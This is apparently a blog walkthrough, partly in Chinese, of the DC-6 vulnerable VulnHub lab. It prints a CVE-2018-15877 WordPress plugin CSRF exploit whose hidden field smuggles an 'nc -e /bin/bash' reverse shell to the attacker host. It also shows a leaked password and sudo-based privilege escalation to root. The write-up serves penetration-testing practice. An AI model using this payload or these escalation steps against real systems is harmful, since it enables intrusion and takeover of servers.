DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn’t an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
0x01.老规矩nmap
可以发现1为网关，2为宿主机，6为kali，那么3就是我们的受害者
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@JIYE:~/tmp/dc6# nmap -sP 192.168.1.0/24 -oN nmap.sP # Nmap 7.80 scan initiated Thu Aug 27 02:09:08 2020 as: nmap -sP -oN nmap.sP 192.168.1.0/24 Nmap scan report for 192.168.1.1 Host is up (0.0028s latency). MAC Address: 68:D1:BA:1F:FD:48 (Shenzhen Youhua Technology) Nmap scan report for 192.168.1.2 Host is up (0.00040s latency). MAC Address: 50:5B:C2:8C:BE:A5 (Liteon Technology) Nmap scan report for 192.168.1.3 Host is up (0.00031s latency). MAC Address: 00:0C:29:2B:C3:13 (VMware) Nmap scan report for 192.168.1.6 Host is up. # Nmap done at Thu Aug 27 02:09:10 2020 -- 256 IP addresses (4 hosts up) scanned in 2.06 seconds
root@JIYE:~/vulnhub/dc6# nmap -sC -sV -v 192.168.1.3 -oN nmap.demo Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 03:05 EDT NSE: Loaded 151 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Initiating ARP Ping Scan at 03:05 Scanning 192.168.1.3 [1 port] Completed ARP Ping Scan at 03:05, 0.03s elapsed (1 total hosts) Initiating SYN Stealth Scan at 03:05 Scanning wordy (192.168.1.3) [1000 ports] Discovered open port 80/tcp on 192.168.1.3 Discovered open port 22/tcp on 192.168.1.3 Completed SYN Stealth Scan at 03:05, 0.07s elapsed (1000 total ports) Initiating Service scan at 03:05 Scanning 2 services on wordy (192.168.1.3) Completed Service scan at 03:05, 6.08s elapsed (2 services on 1 host) NSE: Script scanning 192.168.1.3. Initiating NSE at 03:05 Completed NSE at 03:05, 0.63s elapsed Initiating NSE at 03:05 Completed NSE at 03:05, 0.02s elapsed Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Nmap scan report for wordy (192.168.1.3) Host is up (0.000092s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA) | 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA) |_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-generator: WordPress 5.1.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Wordy – Just another WordPress site |_https-redirect: ERROR: Script execution failed (use -d to debug) MAC Address: 00:0C:29:2B:C3:13 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning. Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Initiating NSE at 03:05 Completed NSE at 03:05, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.28 seconds Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.036KB) root@JIYE:~/vulnhub/dc6#
Timeline: =========== - 2018/08/25: Vulnerability found - 2018/08/25: CVE-ID request - 2018/08/26: Reported to developer - 2018/08/26: Fixed version - 2018/08/26: Advisory published on GitHub - 2018/08/26: Advisory sent to bugtraq mailing list
Description: =========== Plainview Activity Monitor Wordpress plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability, but this plugin version is also vulnerable to CSRF attack and Reflected XSS. Combined, these three vulnerabilities can lead to Remote Command Execution just with an admin click on a malicious link.
<html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>root@JIYE:~/vulnhub/dc6#
修改POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http:wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc 192.168.1.6 9999 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>root@JIYE:~/vulnhub/dc6#
0x07.反弹shell
1.kali监听
1
root@JIYE:~# nc -nvlp 9999
2.firefox打开
1
root@JIYE:~/vulnhub/dc6# firefox 45274.html
点击，get shell
1 2 3 4 5 6 7
root@JIYE:~# nc -nvlp 9999 listening on [any] 9999 ... connect to [192.168.1.6] from (UNKNOWN) [192.168.1.3] 58196 whoami www-data id uid=33(www-data) gid=33(www-data) groups=33(www-data)
sarah: www-data@dc-6:/home$ cat jens/backups.sh #!/bin/bash tar -czf backups.tar.gz /var/www/html www-data@dc-6:/home$ cd mark/stuff/ www-data@dc-6:/home/mark/stuff$ ls things-to-do.txt www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course - Buy new laptop for Sarah's replacement www-data@dc-6:/home/mark/stuff$
graham登入
1 2 3 4
www-data@dc-6:/home/mark/stuff$ su graham Password: graham@dc-6:/home/mark/stuff$ whoami graham
sudo -l，发现/home/jens/backups.sh可以进行利用
1 2 3 4 5 6 7 8
graham@dc-6:~$ sudo -l Matching Defaults entries for graham on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6: (jens) NOPASSWD: /home/jens/backups.sh graham@dc-6:~$
修改backups.sh进行利用，得到jens用户
1 2 3 4 5 6 7 8 9
graham@dc-6:/home/jens$ ls -l total 4 -rwxrwxr-x 1 jens devs 61 Aug 27 19:06 backups.sh graham@dc-6:/home/jens$ cat backups.sh #!/bin/bash #tar -czf backups.tar.gz /var/www/html /bin/bash graham@dc-6:/home/jens$ sudo -u jens ./backups.sh jens@dc-6:~
sudo -l发现nmap可以进行提权
1 2 3 4 5 6 7 8
jens@dc-6:~$ sudo -l Matching Defaults entries for jens on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6: (root) NOPASSWD: /usr/bin/nmap jens@dc-6:~$
root@dc-6:/home/jens# root@dc-6:/home/jens# root@dc-6:/home/jens# root@dc-6:/home/jens# root@dc-6:/home/jens# root@dc-6:/home/jens# root@dc-6:/home/jens# root@dc-6:/home/jens# ls backups.sh CTF root@dc-6:/home/jens# cd /root root@dc-6:~# ls theflag.txt root@dc-6:~# cat theflag.txt
Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"' YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8) Congratulations!!! Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges. If you enjoyed this CTF, send me a tweet via @DCAU7. root@dc-6:~#
